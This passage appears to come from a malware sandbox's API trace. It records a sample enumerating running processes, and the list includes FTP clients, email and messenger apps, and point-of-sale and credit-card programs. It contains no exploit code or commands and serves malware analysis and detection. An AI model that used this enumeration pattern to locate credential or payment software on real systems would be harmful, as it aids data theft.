lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.546] lstrlenW (lpString="svchost.exe") returned 11 [0046.546] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.546] lstrlenW (lpString="svchost.exe") returned 11 [0046.546] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0046.546] lstrlenW (lpString="audiodg.exe") returned 11 [0046.546] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.547] lstrlenW (lpString="svchost.exe") returned 11 [0046.547] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.547] lstrlenW (lpString="svchost.exe") returned 11 [0046.547] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0046.548] lstrlenW (lpString="dwm.exe") returned 7 [0046.548] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0046.548] lstrlenW (lpString="explorer.exe") returned 12 [0046.548] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0046.548] lstrlenW (lpString="spoolsv.exe") returned 11 [0046.548] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.549] lstrlenW (lpString="taskhost.exe") returned 12 [0046.549] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.549] lstrlenW (lpString="svchost.exe") returned 11 [0046.549] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0046.549] lstrlenW (lpString="taskeng.exe") returned 11 [0046.550] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0046.550] lstrlenW (lpString="judges-present.exe") returned 18 [0046.550] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0046.550] lstrlenW (lpString="physics.exe") returned 11 [0046.550] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0046.551] lstrlenW (lpString="belongs.exe") returned 11 [0046.551] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0046.551] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0046.551] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0046.551] lstrlenW (lpString="gadgets.exe") returned 11 [0046.552] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0046.552] lstrlenW (lpString="geneva.exe") returned 10 [0046.552] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0046.552] lstrlenW (lpString="elephant.exe") returned 12 [0046.552] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0046.553] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0046.553] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0046.553] lstrlenW (lpString="roger-venice.exe") returned 16 [0046.553] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0046.553] lstrlenW (lpString="cite.exe") returned 8 [0046.553] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0046.554] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0046.554] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0046.554] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0046.554] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0046.555] lstrlenW (lpString="artist_selecting.exe") returned 20 [0046.555] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0046.555] lstrlenW (lpString="poems.exe") returned 9 [0046.555] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0046.555] lstrlenW (lpString="bow.exe") returned 7 [0046.555] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0046.556] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0046.556] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0046.556] lstrlenW (lpString="businesses.exe") returned 14 [0046.556] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0046.556] lstrlenW (lpString="lucky.exe") returned 9 [0046.557] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0046.557] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0046.557] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0046.558] lstrlenW (lpString="healthmanner.exe") returned 16 [0046.558] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0046.558] lstrlenW (lpString="3dftp.exe") returned 9 [0046.558] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0046.560] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0046.560] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0046.560] lstrlenW (lpString="alftp.exe") returned 9 [0046.560] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0046.560] lstrlenW (lpString="barca.exe") returned 9 [0046.560] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0046.561] lstrlenW (lpString="bitkinex.exe") returned 12 [0046.561] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0046.561] lstrlenW (lpString="coreftp.exe") returned 11 [0046.561] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0046.561] lstrlenW (lpString="far.exe") returned 7 [0046.561] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0046.562] lstrlenW (lpString="filezilla.exe") returned 13 [0046.562] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0046.713] lstrlenW (lpString="flashfxp.exe") returned 12 [0046.713] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0046.714] lstrlenW (lpString="fling.exe") returned 9 [0046.714] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0046.714] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0046.714] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0046.714] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0046.714] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0046.715] lstrlenW (lpString="icq.exe") returned 7 [0046.715] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0046.715] lstrlenW (lpString="leechftp.exe") returned 12 [0046.715] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0046.716] lstrlenW (lpString="ncftp.exe") returned 9 [0046.716] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0046.716] lstrlenW (lpString="notepad.exe") returned 11 [0046.716] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0046.717] lstrlenW (lpString="operamail.exe") returned 13 [0046.717] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0046.718] lstrlenW (lpString="pidgin.exe") returned 10 [0046.718] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0046.718] lstrlenW (lpString="scriptftp.exe") returned 13 [0046.718] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0046.719] lstrlenW (lpString="skype.exe") returned 9 [0046.719] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0046.719] lstrlenW (lpString="smartftp.exe") returned 12 [0046.719] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0046.720] lstrlenW (lpString="thunderbird.exe") returned 15 [0046.720] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0046.721] lstrlenW (lpString="totalcmd.exe") returned 12 [0046.721] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0046.721] lstrlenW (lpString="trillian.exe") returned 12 [0046.721] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0046.722] lstrlenW (lpString="webdrive.exe") returned 12 [0046.722] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0046.722] lstrlenW (lpString="whatsapp.exe") returned 12 [0046.722] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0046.723] lstrlenW (lpString="winscp.exe") returned 10 [0046.723] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0046.723] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0046.723] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0046.724] lstrlenW (lpString="active-charge.exe") returned 17 [0046.724] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0046.724] lstrlenW (lpString="accupos.exe") returned 11 [0046.724] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0046.725] lstrlenW (lpString="afr38.exe") returned 9 [0046.725] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0046.725] lstrlenW (lpString="aldelo.exe") returned 10 [0046.725] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0046.726] lstrlenW (lpString="ccv_server.exe") returned 14 [0046.726] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0046.726] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0046.726] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0046.727] lstrlenW (lpString="creditservice.exe") returned 17 [0046.727] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0046.727] lstrlenW (lpString="edcsvr.exe") returned 10 [0046.727] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0046.728] lstrlenW (lpString="fpos.exe") returned 8 [0046.728] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0046.728] lstrlenW (lpString="isspos.exe") returned 10 [0046.728] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0046.729] lstrlenW (lpString="mxslipstream.exe") returned 16 [0046.729] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, 